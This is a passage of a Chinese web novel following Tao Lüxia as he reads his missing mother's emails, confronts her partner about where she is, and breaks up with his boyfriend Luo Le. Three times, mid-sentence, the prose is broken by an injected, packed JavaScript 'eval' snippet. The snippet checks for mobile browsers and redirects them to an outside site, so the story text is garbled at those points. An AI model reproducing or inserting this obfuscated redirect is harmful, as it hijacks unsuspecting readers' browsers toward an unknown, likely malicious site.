白兰花味的滚珠香,气味像雨后植物;浅色棉布的手帕,边角走线严谨,放外套内袋刚好,以及无糖润喉糖、折扇、茶包、钥匙扣、冰箱贴、咖啡杯,还有颜色顺眼的袜子…… 陶律夏低头看了看手里的战利品,有点像“恋爱囤货”的病症。 不过,量还不算过界。 毕竟,男朋友可是那种能把“世界猫日”写进情侣见面日的“恋爱黑洞”。多准备一点也好,省得闹起脾气来,还得自己哄。 临走时,他看见柜台边挂着一排明信片。一只戴着墨镜的雪鸮趴在树桩上,羽毛蓬松,脸颊鼓鼓,下面是一行法语手写体小字:Je veille sur toi.(我守护你) 凶狠的猛禽突然可爱了起来,浪漫果然是观察者的投射…… 陶律夏从最后一家书店出来,看了眼手表,比预定到达银行的时间,晚了五分钟。 他很少迟到,更少因为计划外因素脱离自己的时间管理。可今天,那些“预留给意外波动”的时间居然都被用在逛街上了。 重新核对了一遍路线与剩余时间,陶律夏调整步频,十五分钟后,抵达银行。 冷气扑面而来,接待员迎上前,领他进入一间小型会客室。 业务经理微微颔首,将一份文件递到他面前。 “这是关于托管账户的全部信息,根据设立人在托管协议中确认的条款,您在年满十八岁后,即获得这个账户的全部支配权。” 陶律夏翻开文件,目光在文字上缓缓扫过,直到看完最后一个句点。 “我想确认一下——” 他抬起头,“除了这个账户,是否存在其他形式的资产?比如私人保险箱?” 业务经理微微一顿,低头在电脑键盘上快速敲击几下,说:“很抱歉,没有显示任何附属保险箱或文件记录。” 陶律夏沉默了一会,又问:“那这个账户有任何说明吗?比如备注、附言,或者是其他信息?” “没有记录任何附加说明。”经理保持着礼貌的职业微笑。 “账户设立时间较早,系统记录仅限于最基本的转账信息与归属安排。” 从银行出来后,陶律夏沿着街道缓缓前行。转过街角时,他在一处院子门口停了下来。 围栏刚刷过新漆,信箱换了新的号码,院子里的树长高了许多。 树冠撑开一片浓荫,下面放着一个小型充气泳池,两只黄色的小鸭子在水面上摇摇晃晃。 他站了一会儿,便顺着一旁的坡道缓步走下去,一路走到了河边。 在河岸边找了张长椅坐下,鸽子在脚边踱来踱去,小朋友眼前追逐打闹,一只毛茸茸的小狗扑进主人的怀里,发出细细的呜咽。 陶律夏望着眼前这些琐碎又迷人的生活片段,任由心绪随着落日的余光,一点点沉入地平线。 终于,他拿出手机,点开了那个许久未曾登录的邮箱—— 上次登录:746天前。 未读邮件:21封。 【来信主题:托斯卡纳的黄昏@2018.09.19】 Sunny, 托斯卡纳的黄昏,比我想象得更安静。 太阳落得很慢,整个山谷被橘色的轻纱笼罩。我坐在旅馆前的藤椅上,看着光线一点点褪下去,想起我们一起看过的那次日落。 你说太阳像「烧着的橘子糖」,我到现在还记得那个形容,就像你一样准确又可爱。 昨天下午和一位旅馆同住的女士聊天,她年轻时曾在意大利中部学油画。她说颜色的灵魂在对比关系里。 你画画时,总是强调冷与暖、明与暗的反差,现在想来也是种对比意识吧。 晚饭时,我烤了一块羊奶干酪,配无花果,味道简单而纯粹。 你最近有没有在练钢琴?这边很多酒馆晚上会请人弹琴,曲子都不难,我想你现在也能弹了。 【来信主题:日内瓦湖边的猫@2018.10.21】 Sunny, 湖水静极了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053554|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,倒映着对岸山脊线上的雪顶,像一幅画。你应该会喜欢这里的光影变化。 我在湖边看到一只花猫,肚子圆滚滚的,一点也不怕人。你看到大概会说「三种颜色的猫,99.9%都是母猫」。 想起有次去你的小学,老师告诉我,你在别人吵嘴的时候,在旁边劝告:「论据要站得住脚,否则就只是吓唬人的声音。」 我听了以后,很想抱抱你。 我的爱讲逻辑的小孩,希望你将来的人生,不必一直靠站得住脚的道理保护自己,能够像那只胆子大的猫一样,可以毫无防备地在阳光里打盹。 【来信主题:第一场雪@2019.1.8】 Sunny, 昨天在公园坐了一会儿,天很冷,我戴了手套和围巾。 长椅旁的树枝上积着一层雪,有几只喜鹊在枝杈间蹦跳,扑簌簌地抖下一片,阳光正好,细碎的雪粒在空中闪着光。 我想起,你小时候第一次见雪的样子。 你拿着铲子,把雪铲进盆子里,说要「存起来,留着慢慢玩」。 那盆雪很快融成了一滩水,你还哭了,抱怨我为什么不告诉你,不能把雪放在屋子里。 很抱歉,我当时一直在笑,我还告诉你「即使不放在屋子里,只要有阳光,雪就会慢慢融化」。 现在想起来,其实有些后悔。我为什么要那么早的让你知道,有些东西,不论你多么小心翼翼,也无法留住呢? 【来信主题:立春的饺子@2019.2.3】 Sunny, 今天是立春,我包了韭菜鸡蛋馅的饺子,煮出来的饺子还是扁扁的,不太好看,但一咬就冒香,蘸了点香醋更好吃了。 你小时候特别不喜欢韭菜的味道。每次我一剁韭菜,你就远远跑开,捂着鼻子,一本正经地说:「这是气味的暴力」。 对不起,趁你不在,我又吃了。今天吃了十四个,剩下的冻进冰箱,明天还要继续吃。 等你长大了,如果有了自己的孩子,也不要为了孩子牺牲自己喜欢的口味。(韭菜鸡蛋馅的饺子真的很好吃) 天有点冷,窗外的麻雀落在栏杆上,一动不动,像灰色的小毛球。不过,春天就快来了,我听得见风的方向变了。 【来信主题:月亮伴你远行@2019.9.13】 Sunny, 今天是中秋节,雨下了一整天,傍晚却忽然停了,天黑时,云开了一道口子,月亮就那样慢慢升了上来。 它像是记得这个约定已久的节日,准时来赴一场团圆。 你看到月亮了吗?愿它今晚路过你的窗台。如果没有也没关系,它总在那儿。 只要你还在地球上,它就会绕着你转,就像地球绕着太阳转一样,这是被宇宙定律保证的关系,是再确定不过的联系。 …… 【来信主题:生日快乐,我的小朋友@2020.5.1】 Sunny, 英国的天气总是阴晴不定。但比赛那天,阳光却意外慷慨,柔和地洒在网球场和观众席间,像是专为这场比赛准备的礼物。 选手挥拍时,既轻盈又有力量,每一次都像是为某种完美而生。 球场外有卖草莓奶油的小摊,我未能免俗,也买了一份。酸甜的滋味让我想起你最喜欢的草莓奶油蛋糕。 每年过生日你都要吃,这时候就体现出你那些可爱的怪癖:海绵糕体,不能加除草莓之外的坚果和果粒,草莓要排列整齐,奶油的厚度必须是一厘米。 你这么挑剔,是不是因为只想吃妈妈做的蛋糕? 生日快乐Sunny,十八岁了,愿你平安快乐,有爱相伴。” 爱你的,Mom 月光落在水面,碎成一片流金,陶律夏收起手机,走到岸边。 “妈妈,你为什么要这样对我?你为什么还是要如此残忍?” 48.NPC的蔬菜汤 罗乐刚躺下准备睡觉,电话突然响了。看到来电名字,他猛地从床上坐了起来。 “您是这个号码的朋友吗?他喝醉了……” 打来电话的是家做烧鸟的日料小馆,距离陶律夏家八百米。 推门进去,店员「欢迎光临」还没开口,就被罗乐急急打断:“喝醉那人呢?” “在那边……” 他快步穿过厅堂,走到角落,看见陶律夏趴在桌上,脑袋埋在臂弯里。 罗乐蹲下身狠狠揉了一把陶律夏的头发:“行啊,偷摸儿回来不吭声,现在还躺在人家店里等我捡尸?” “快说!什么时候回来的?”他压着声音问。 “嗯……”陶律夏低低地哼了一声。 “嗯什么?”罗乐气得牙痒,“给哥背一遍元素周期表!” 陶律夏趴着一动不动,肩膀随着呼吸轻微起伏。 “好啊!最简单的元素周期表都背不出来了,你的统治区现在都被酒精占领了!!” 罗乐苦笑一番,转头问店员:“他结账了吗?” 店员:“结了,是扫码点的。” “喝了多少?” “两壶清酒。” “他一个人来的吗?” “一个人。” “一个人?”罗乐又低声骂了起来,“就这点酒量,还敢自己跑出来喝酒?你可真是有本事!” 他说着弯下腰,把陶律夏的一只胳膊搭到自己肩上,手臂绕到膝弯,稍一用力,将人整个背了起来。 “谢谢。”罗乐朝帮忙开门的服务员点点头。 “他下次再来一个人喝酒,麻烦给我打电话。明天我会再过来一趟。” 夜风迎面吹来,罗乐把人往背上提了提,慢慢地往回走,嘴里还骂个不停: “你现在越来越放肆了!十八岁一到,酒精成你合法补脑汤是吧?” “你这副德行要是给你那群迷弟迷妹瞧见,不得当场破防?人设全崩,粉籍转黑!” “你是不是整天就琢磨着怎么气死我?” “你最好给我一个合理的解释,态度必须得诚恳,别想糊弄过去!” 陶律夏轻哼一声,鼻尖在他脖子上蹭了一下,手指还不安分地往他身上摸。 罗乐一巴掌按住那只作乱的手:“你还抓?小爪子摸哪呢?喝醉还不老实,你在哪儿学的这乱撩的毛病?” 一路骂骂咧咧地把人背到家门口,陶律夏指尖一碰,指纹锁“嘀”的一声开了。 刚进门,夜灯自动亮起一圈柔光,罗乐把人送进主卧,转身去卫生间拧了一条湿毛巾,单膝跪在床边,托着他的后脑勺,慢慢地擦脸。 擦完,罗乐把他从床上扶起来,一颗颗解开衬衣扣子,嘴上还在念叨:“一个人出来喝酒,还非得穿这么板正?行啊,专门给我增加难度是吧!” “抬胳膊——”罗乐一边说,一边抓着干净T恤往他头上套。 结果,人不但不配合,还软绵绵地往他身上蹭,蹭得罗乐心口发热,耳根子更烫了。 “小祖宗,你配合一下行不行?你这叫耍赖知道吗?”罗乐一边压着嗓子骂,一边扶着胳膊往袖子里套,动作很轻,生怕把人扯疼了。 等终于把人安顿好,罗乐的睡意也被消磨干净了。 他调暗床头灯,拿起陶律夏搁在床头的电子书,页面还停在他读过的一页—— “死神来到了乡村,发现写着最新命令的羊皮纸丢了……” “……你大晚上看的都是些什么东西!”罗乐转头瞪了旁边的醉鬼一眼,眼神一落,却半天没能挪开。 陶律夏睡得安稳,脸颊还染着浅浅的酒色,眉心微蹙,唇角轻轻抿着,睫毛像片轻软的羽毛,覆在眼下。 罗乐看了片刻,伸手拨开他额前贴着的碎发,指腹沿着额头缓缓滑过额角,然后俯身,在他额上轻轻落下一个吻。 然后,他慢悠悠地坐直,拿起那本莫名其妙的书,打算看看这个倒霉的死神到底还会怎么在乡下翻车。 不知过了多久,陶律夏轻轻动了动,软绵绵地贴到他身上,低声唤了句:“哥哥……” “叫我干嘛。”罗乐哼了一声,手指顺势揉进他发根,“现在知道叫哥哥了?” “要喝水吗?”说完也不等人回答,罗乐就起身倒了杯温水,还非要自己端着杯子慢慢地喂他。 “抱抱,好吗?”陶律夏声音轻软。 罗乐往旁边挪了挪,抬起一只胳膊,陶律夏顺势靠过来,头埋进他的肩窝,手臂圈上了他的胸口。 罗乐轻轻拍了拍他的背,又忍不住揉了揉:“现在怎么这么乖,你什么时候回来的?怎么不告诉我?” “把灯关了,好吗?”陶律夏轻声问。 夜灯熄灭,屋内只剩下一片柔软的暗影。两人紧贴在一起,呼吸交织,温热静谧,时间像在静默中停了下来。 忽然,罗乐感觉到有什么凉凉的东西流到了脖颈,下意识一摸,手指湿漉漉的。 他猛地转身,托住陶律夏的脸,掌心里糊了一手的眼泪。 明明在哭,却连一声呜咽都不肯发出来,只是肩膀微微发颤,呼吸断断续续。 罗乐看着,心像被人揪了一把,手上没轻没重的力气突然不知道往哪儿放,指腹在他眼角一下一下地擦。 可擦了一下,又一下,眼泪却像怎么都擦不干似的,一滴接着一滴,止不住地往下掉。 “怎么了……”罗乐低声问,几乎是哑着嗓子。 他放弃了徒劳的擦拭,索性把人整个儿搂进怀里,下巴抵在他的头顶,掌心一遍遍地抚着他的脊背。 “能告诉我吗?”罗乐偏过头,轻轻吻上眼角的泪痕,几乎是无力地祈求。 “你会离开我吗?”黑夜里,陶律夏的声音响起,含糊而低沉,像带着哭腔的梦呓。 罗乐怔了一瞬,随即俯身,轻轻抵上他的额头,笃定道:“我永远都不会离开你。” 屋外偶有风声,发出轻微的响动,陶律夏静默良久,才低声说:“你说「永远」的时候,我就……不能相信了。” 声音很轻,像快睡着的人随口说的梦话,羽毛一般在夜色悠然飘落,坠入深深的寂静。 “律夏……”罗乐又低声唤了几次,回应他的,只有那浅浅的呼吸,一圈一圈,荡进他的胸口。 屋里一片暗色,他看不清陶律夏的脸,其实也不必看,就算闭上眼,他也能描出那张脸的模样。 一种说不清的慌乱悄然袭来,罗乐低下头,轻轻贴上那个微凉的小脑袋。 这个人,早就不只是让他心动的对象了。他甚至觉得,如果没有了他,自己的世界,大概就只剩下一片荒漠了…… * 第二天清早,陶律夏睁开眼走出卧室,看到餐桌上摆着一盘颜色鲜艳的果碟—— 芒果和草莓被切成大小不一的块,堆在中间,四周规规矩矩地围着一圈蓝莓,能看出是花时间认真摆的。 “你醒了。”罗乐从厨房探头出来,“刷完牙就来吃饭吧。” 陶律夏对着镜子看了眼自己,T恤被那人套反了,稍微有点卡脖子,但他也没心思换,草草洗漱完便走回餐桌前坐下。 目光落在面前那碗热气腾腾、不太好归类的糊状物上,“这……是什么?” “意式蔬菜汤。”罗乐把勺子放在他面前,“吃点热的,胃能舒服点。” 意式蔬菜汤?颜色混杂、质地黏稠,表面浮着几块形状随缘的胡萝卜,怎么看都不像能安心入口的样子。 他试探着舀了一勺送进嘴里,奇特的口感配上一股酸得过分的番茄味,难吃到让人怀疑,是不是因为昨夜的事,这人在报复自己。 “怎么样?”罗乐抬眼看他,神情甚至有些小心翼翼。 不是报复。 陶律夏淡定咽下,一点表情没漏:“你是不是从来没做过饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第一次和它搭话时,小松鼠不屑一顾地抬着下巴,哼了一声:“你来找我有什么事?说好了,请不要浪费我的时间。” 罗乐当场就乐了。 这架势,这口气,这高傲的模样,像极了—— 此时正坐在餐桌前,看着他的,这座岛真正的主人…… “意式蔬菜汤真的是在游戏里学的吗?”陶律夏静静地注视着罗乐。 “怎么了!”罗乐扬起眉,义正词严地回道,“热心岛民给我的菜谱,美味、温暖人心的蔬菜汤!” 陶律夏看着那碗只有NPC才会感动到落泪的“美味料理”,胸口隐隐作痛。 原来,在他这副桀骜不驯的外表下,居然藏着一个会研读卡通菜谱的小厨神,甚至还照着NPC给的食谱,认认真真地给自己做早餐。 回程的飞机上,陶律夏已经准备好结束这段关系。 见到他,又舍不得,反反复复纠结,昨晚一夜才下的决心,早上又被一碗奇怪的汤打得七零八落。 他如此狼狈不堪,总是轻易动摇,情绪反复撕扯,反而越发说明——自己确实应该离开他。 “真有那么难吃?”罗乐试探着问。 陶律夏垂下眼帘,把勺子重新握紧,舀了一口缓缓送入口中,咀嚼几下后,才抬眼看向罗乐:“很好吃……” “真的。”他郑重点了点头。 在昨夜的眼泪与奇怪的蔬菜汤里,陶律夏尝到了爱情的另一种味道——怜惜、苦涩、心疼、不舍…… 爱,果然是会让人心痛的东西。 他吃完最后一口,汤匙碰到碗底,发出一声钝响。罗乐伸出手,指腹滑过他唇角,擦掉了那一点不知何时沾上的番茄渍。 “你昨晚怎么回事?提前回来也不告诉我,能不能和哥哥说说?” 陶律夏抬起头看着他,理智与情感的角力无声落败。 还是,舍不得…… 他抓起手机,径直走向门口:“我有点事要办,晚一点和你说。” “我陪你去。”罗乐立刻跟了上来,伸手握住他放在门把上的那只手,“你状态不太好,让我陪你去。” 陶律夏停了一下,缓缓收回手,转过身看着罗乐:“这件事,只能我自己去。你等我,等我弄清楚,然后告诉你。” 49.月之暗面 电梯停在大厦顶层,穿过如同咖啡厅的开放式接待区,就是腾凌涛的办公室。 办公室很大,南向是整面落地窗,外面是个被绿植包围的露台。一株蓝紫色的花正值花期,花序层层垂落,碎瓣散落在地板上,像是无意的点缀。 陶律夏走向露台中央,目光落在那抹蓝紫色上:“这种花根本不适合北方种,你偏偏要养。恭喜你,成功蛊惑了自然。” “游戏里我最喜欢的花,当然想要它在现实里也开得漂亮。”腾凌涛笑了笑,剪下一枝,放在陶律夏的掌心。 “恭喜你律夏,祝贺你毕业。” 陶律夏没多看,随手将它放到一旁的圆桌上:“我有事问你。” “对了,我有毕业礼物要送给你,本来还想寄给你。”腾凌涛收起剪刀,转身走进室内。 他拿来一个四四方方的黑色盒子,揭开盖子,里面是个设计感十足的VR头显。 陶律夏扫了一眼,没动。 腾凌涛送给他的礼物,太多了,书、鞋子、机械表、限量模型,还有那些看起来像是“男孩一定会喜欢的东西”。 小时候,他们也曾一起窝在车库里,拼装过一辆真正能开的电动小车。那是他第一次学会了接线。 腾凌涛从冰箱里拿出一瓶矿泉水,喝了几口,指向VR头显:“内部测试版,还没向外界公开。全新系统搭配高质量场景建模和实时交互。” “戴上它,你便能进入一片属于自己的世界,雪原、竹海、森林,你甚至能感受到流星划过天际的微妙震感和高山峡谷间的风声。” “你可以戴着它休息、放松,重拾心绪,感受梦幻。”他说着,把头显递到陶律夏面前。 “要不要试试?” 陶律夏接过头显打量了一番,唇角一挑,浮起一丝冷笑:“果然是你擅长的那一套,构建虚假的世界。你不会自己也信了吧?” “不是相信——”腾凌涛走到桌边,拿起一只白瓷浅碟,倒入半碟矿泉水,他拾起那串蓝紫色的花枝,斜斜地插进去。 “而是,需要。” “需要?”陶律夏重复了一遍,他将头显重重搁下。 “需要我活在一个你们精心设定、不会受伤的世界?好假装我从未失去过什么,然后永远都不要问她到底在哪儿?” 一架飞机从空中掠过,在蓝天上拖出一道白色的尾迹。腾凌涛往外走了两步,抬眼望向远方,轻声说:“她在这个世界的任何地方,她就在你身边。” “你知道你在说什么吗?”陶律夏跟上他,眼里的怒火压不住地翻涌。 “我都十八岁了,你还要用‘她去了很远的地方’这样哄小孩的谎话来搪塞我?” “Sunny……”腾凌涛缓缓转过身,抬手搭上他的肩膀:“有些问题的答案,不会恰好在你十八岁时准时到来。” “那要等到什么时候?!”陶律夏一把甩开他的手,声音微微颤抖。 “等到我觉得爱完全多余,没人值得相信的时候吗?” 腾凌涛神色一滞,他缓缓摘下鼻梁上的眼镜,将镜面在POLO衫上摩擦片刻,又重新戴了回去。 “我答应了你妈妈,等到了时间,她会亲口告诉你。老实说,我也不知道是什么时候。在这之前,我要保护这一切,保护你。” “保护我什么呢?”陶律夏抬起手,掩住了脸。 “我是一个「人」啊,不是你设计的程序,不是你输入一套解释脚本,就能照着运行。” 橄榄树的叶子在微风中轻晃,腾凌涛走近一步,轻轻拉开陶律夏挡在脸前的那只手—— “你想起她就觉得美好、熟悉的瞬间,就不能当成是她在陪伴你的证据吗?” 陶律夏缓缓地摇摇头:“怀念应该建立在告别之上,可我们没有告别。” “我甚至都不知道——”陶律夏的声音陡然拔高,“她到底是不是已经死了!” “你们给我的到底是陪伴,还是一场漫长到令人窒息的失踪案?” “你难道看不到我一直在受伤吗……” 腾凌涛一瞬失语,他张了张嘴,想说什么,可那句话最终卡在喉咙口,没能吐出来。 “她葬在哪里?”陶律夏的声音低下来,他像被抽干了力气,带着近乎卑微的乞求。 “求你了……告诉我,好不好?” “你告诉我,我就能翻过这一页,我真的想放下了。我想活得像个正常人,我想好好生活。” “你告诉我好吗?我也可以试着原谅你们,尝试理解你们为什么要这么做。” 风掠过露台,几瓣蓝紫色的花飘落在地板上,像是记忆里无意浮现的旧梦。 腾凌涛沉默了很久,低声开口:“Sunny,我爱你妈妈,我也爱你。我希望你能相信,她做出的一切决定,全都是为了你。” 陶律夏望着他,像看着一台输出稳定的程序,复读着预设好的语句。 「为了你」这三个字,像一种高度提纯后的万能掩饰剂,把所有谎言层层包裹,打磨成温情而正当的解释。 自己居然还抱着希望来,真是可笑…… VR头显在阳光下泛着光,陶律夏伸手将它拿起,低低地笑了一声。 下一秒,那东西被他狠狠摔在地上,外壳裂开,镜片弹到了腾凌涛的脚边。 “我不会再来找你了。”他走到门口,停顿了一下,回头看向腾凌涛:“别再给我寄这些东西,我只会直接丢进垃圾桶。” 飞机尾迹在风中变宽、变形,最终悄然散尽。秘书走了进来,俯身将地上的残块一一拾起。 “腾总……” 腾凌涛缓缓转头,淡声道:“全都扔了吧,他不喜欢。” “辰叙,派人看着他点——” “不,还是你亲自去看看。” “从小臭美,事事讲究,怎么会连鞋都没换就这么跑出来?”腾凌涛拿起那只盛花的瓷碟,叹了口气。 “衣服也穿反了…….” 陶律夏漫无目的地走走停停,直到天色彻底暗下来,才在便利店门口的长椅上坐下,低头翻着手机里的照片—— 咖啡店的苹果肉桂卷、路边烫屁股的长椅、摩天轮上看到的烟花、草丛里叫得没完的蝈蝈、送给山神的野花、偷花贼的罪证…… 他翻了一遍又一遍,相册里竟没有一张两个人的合影。 或许,自己本就不该妄想能拥有一段长期维持的美好关系。他早该知道,自己这颗修补、重构都显得苍白的心,根本没法承担任何再一次的失去。 可为什么,连张他的正脸都没拍过?手机里只有那张他在旷野中奔跑的背影。不过,也没关系,只要闭上眼睛,就能一笔一划描摹出他的样子。 月亮照常升起,悬在漆黑的夜空,一个人不动声色地坐到了他身旁—— 眉目耀眼、真实热烈,是那个只要闭上眼睛,就能看到的人。 两个人并肩坐着,谁都没有说话。 夜风很轻,一只黄色的小狗摇着尾巴从脚边跑过,脖子上的铃铛叮叮作响。 那人熟络地朝小狗喊了一声:“蛋黄!”狗子毫无反应,只有主人和陶律夏两脸错愕。 他毫不在意,又冲着一只哈士奇招呼道:“花卷!” 哈士奇立刻扑了过来,在他脚边撒娇、打滚,被主人拽走时,还不忘回头亲热地摆尾告别。 “花卷”走出百米远,他又转头招呼起蹿进绿化带的泰迪:“是你吗,米线?” 看着那只名字和模样完全不搭的棕色团子,陶律夏心想,不如叫——栗子。 “芝士!”、“年糕!”、“栗子!”、“布丁!”…… 陶律夏看着他对着街上的大狗小狗一通报菜名,终于忍不住转过头。 “这一条街的狗,你都认识吗?” “当然了!”罗乐嘴角一翘,“哥在派出所那几十张‘狗证’,难道是白办的?” 陶律夏在这条街的招牌间扫了一眼:“下一只是叫‘饺子’吗?” “你终于发现了。”罗乐笑了,像早就在等这一刻。 陶律夏看着他,忽然有点控制不住了,声音发颤道:“你到底要干嘛?” “你看不出来吗?”罗乐抬手裹住他的肩,把他揽进怀里,“我在哄你开心。” 陶律夏像被什么哽住了喉咙,眼眶有些发热,他看着罗乐,缓缓地、一字一顿地问:“……你想吃小龙虾吗?” “吃什么小龙虾!”罗乐扶着陶律夏的肩膀,“你看看你现在这副表情,跟要请人吃‘诀别宴’一样。” “想请哥哥吃分手饭?”他低下头,眼神里带着点凶狠的笑:“没门!” * 嘴上说着“没门”,但心里别提有多慌张,这一整天,罗乐就像个没魂的游鬼,在他家楼下兜来转去。 等他,也等一个不知道会不会来的答案。 两个人在露台上沉默着坐了半个小时。仙人球顶的小甜花谢了,花瓣干瘪地蜷着,只剩几片褪色的边角,还倔强地挂在刺球上。 「陶神」坦诚、真实,主打一个我行我素,罗乐从没见过这样的他,犹疑、悲伤,一贯的拽劲儿也没了,像是被什么重重压着,连开口都成了难事。 “早上那事儿……搞清楚了吗?”罗乐终于绷不住了。 见陶律夏摇了摇头,他又问:“我能帮你吗?” “不太能……” “就算我帮不上什么,咱俩至少也还是能一起商量吧?”罗乐顿了顿,撑着笑脸说:“难道你还有什么秘密不想让哥哥知道?” 陶律夏没看他,抬头望向了窗外的月亮—— “月亮上的暗影叫月海,是火山喷发后凝固的熔岩,而那些比月海高的地形叫月陆,主要由反光率高的斜长岩构成,看起来要亮一些。” “由于潮汐锁定,在地球上无论如何都看不到月亮的背面,科幻小说里把它叫做「月之暗面」。” 罗乐听着,想起当初在书店偶遇他的场景,他在新书柜台前翻着一本《月球矿物》。 如果当时走过去打招呼,陶律夏会不会也这么科普一通? 也许会。但那时候的自己,应该会觉得:这人怎么这么能装。可现在,却只想听他再多说几句。 “月亮有暗面,人心也有暗面。”陶律夏侧过脸,“你看过《大佛普拉斯》吗?” “……没看过,讲什么的?” “虚伪的政客、天真的拾荒者,还有残忍的艺术家把情人的尸体藏进大佛的雕塑里。” 陶律夏顿了顿,声音低下来:“电影里有句话,大意是「人心的宇宙更难抵达」。” 这句话像一颗子弹射进了罗乐的胸膛,卡在了身体里。他从没想过,自己竟然可以这样了解一个人—— 能跟上他那些别人看不懂的操作,能听出他的笑声里藏着怎样的情绪,能分辨他的沉默到底有什么不同,能听懂这是个告别的铺垫…… “你到底想说什么?”罗乐嗓子发涩,努力维持面上的镇定。 风扇缓缓转动,月光从窗边斜斜洒下,将两人笼罩进一片静默里。 陶律夏:“我想告诉你,告诉你我心里的另一部分,像月球暗面一样从未被人看见的混乱地带,裂缝、塌陷、情感的废墟。” 他说完,微微垂眼,声音轻得像一声叹息:“可是我现在……没有勇气袒露了,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那我是什么?”他咬着牙,盯着陶律夏的眼睛,一字一顿:“是你可控人生里,那个不稳定的变量?出了偏差,就该被剔除?” “不是!” “你不是错误,不是变量,更不是废稿,你带给我稳定、抚慰和快乐……你是我人生系统中最接近「常数」的存在。” “不稳定的那个,是我啊,我现在已经没有勇气去爱了。”陶律夏说着,眼睛里泛起晶莹的水光,他低下头,整个人像被钉在原地,僵硬地站着。 没有抽泣,也没出声,眼泪一滴一滴地滑落,带着千钧重力砸向了罗乐的心。 罗乐低低叹了口气,把手掌扣在陶律夏的背上,往怀里带了一点:“你这人,有时候拽得烦人,有时候事儿多得离谱,有时候又非得整点把人气到肝疼的操作……” “我不是没想过离你远点,省得给自己找不痛快,但最后还是忍不住,老往你这儿凑。” “后来,我也不知道是哪根筋搭错了,跟开了雷达一样,忽然就能看懂你了。”他低下头,凑到陶律夏耳侧。 “我能看懂你表情里的意思,知道你的沉默是高兴,还是拒绝;知道你是真行,还是在死撑;我能从你的动作、你说的话里看出你是想让我靠近一点,还是懒得搭理我……” “可是我怎么都看不明白,是什么让你哭……” “你不想说没关系。你也可以不向我敞开你的心……” 罗乐把人抱紧了一些,语气近乎哀求:“但是拜托你,拜托你……” “别推开我,好吗?” 两个人抱了很久,世界安静得就像只剩下这一方小小的空间。 直到陶律夏缓缓抬起手,按在罗乐的肩膀上,动作不重,却像用尽了所有的力气。他坐回了椅子,把一整罐啤酒一口气喝完,缓缓地放下罐子。 “我无法在一片废墟上搭一座房子,如果有一天我也失去了你,我又该如何去治愈自己?” 罗乐蹲下身握住他的手,目光灼灼:“你不会失去我,我说过了,我永远都不会离开你。” 陶律夏摇了摇头,目光像坠入无尽深海:“这个世界上没有永远的陪伴,爱就是要把自己的一部分交给别人,并允许对方可以毫无预警地带着它离开。” 罗乐:“你为什么要去猜测那些还没发生的事?你就不能……相信我吗?” “这不是猜测,这是我的经历。”陶律夏抬起头,泪水在眼眶里打着转,最终,又顺着脸颊滑了下来。 “哥哥,我们就到这里吧。我不会忘记你,但我也……没法再待在你身边了。” 那一瞬,罗乐像是被人切断了所有电源,松开了手。 他只觉得,心像是被硬生生挖走一块,胸口空空荡荡,只留下一片寂静的荒漠。 可就在这死寂一般的空地上,却听到微弱却清晰的回响—— 是,眼泪落在上面的声音。 一滴、又一滴,砸在了上面,将那片孤寂的荒漠砸成了坑坑洼洼的月球表面。 如月球暗面一样,从未被人看见的混乱地带,裂缝、塌陷、情感的废墟,不再是你一个人的了,陶律夏…… 罗乐缓缓站起身:“你非要离开的理由,我大概听明白了一点。但我愿意放手,只有一个原因——” “我不想看你这么难受。” “等我走了……你能,好好地哭一场吗?” 说完,罗乐拿起桌上的那罐果啤,扣开拉环,气泡“哧”地一声冲出来,在静默的空气里发出刺耳的破裂声。 他一饮而尽,把空罐子轻轻放在桌上,站起身踏出了露台。 “还有一件事……”罗乐停下脚步,“哥哥其实不喜欢喝果啤,之前几次喝……都是因为你。” “你要记得,下次见面,不要再请我喝了。” 50.流星之夜 罗乐坐在教二楼前的长椅上,下午天气不错,楼门口的几棵黄栌,叶子已微微泛红,夏天过去了…… 一颗弹力球从草坪那边滚过来,停在罗乐脚边。他弯腰捡起球,随手掂了几下,抬头看到远处摇摇晃晃地跑来一个小男孩。 看起来不过三岁,眼睛直勾勾地盯着他手中的球。 “是你的?”罗乐低头问。 小男孩刚伸手要拿,罗乐却忽然收了回去:“我捡到的,现在归我了。” 哭声立刻响彻半片天地,罗乐被吓得一哆嗦,赶紧把球递回去:“逗你玩呢,怎么还哭上了?” 小男孩抽抽搭搭地接过球,小短腿迈得飞快,跑出去好几米,才怯生生地回头看了一眼,像在确认那个“恶狗”没追上来。 “你无聊不?逗小孩干嘛?”耳边传来一句吐槽。 罗乐转头看了一眼,挪到了椅子另一头。 林岘在他旁边坐下,长腿一伸,从兜里摸出根棒棒糖叼在嘴里。 “你没看见啊?那是刘副院长的孙子。”林岘抬起下巴,示意小男孩跑远的方向。 “人民警察回校恐吓小孩,回头再把你当成负面典型。” 罗乐没搭话,眼神虚虚地落在不远处的操场。 见他这副没精打采的样子,林岘斜着身子朝他靠了过去:“干嘛呢,好不容易抽空回趟学校,你跑这儿发什么呆?” 罗乐轻轻抬手一推,林岘顺势倒在了一边。 表演已经到位,哥们却并没有像往常一样伸手把他拉回来。林岘自己坐直了身子,难得正经了几分:“还伤心呢,这都多久了? “93天。”罗乐沉声道。 秋风掠过,黄栌的叶子在风中轻轻晃动,发出簌簌的轻响。 “我,很想他……”他说得很轻,像在自语。 林岘瞅着罗乐,忽然觉得这人有点陌生。他居然毫不遮掩地当着自己的面,沉浸在“被小男友甩了”的悲伤里。 93天?不会是拿个日历搁那儿画叉儿呢吧?这场面实在是过于抽象了,得是拿着刀划。 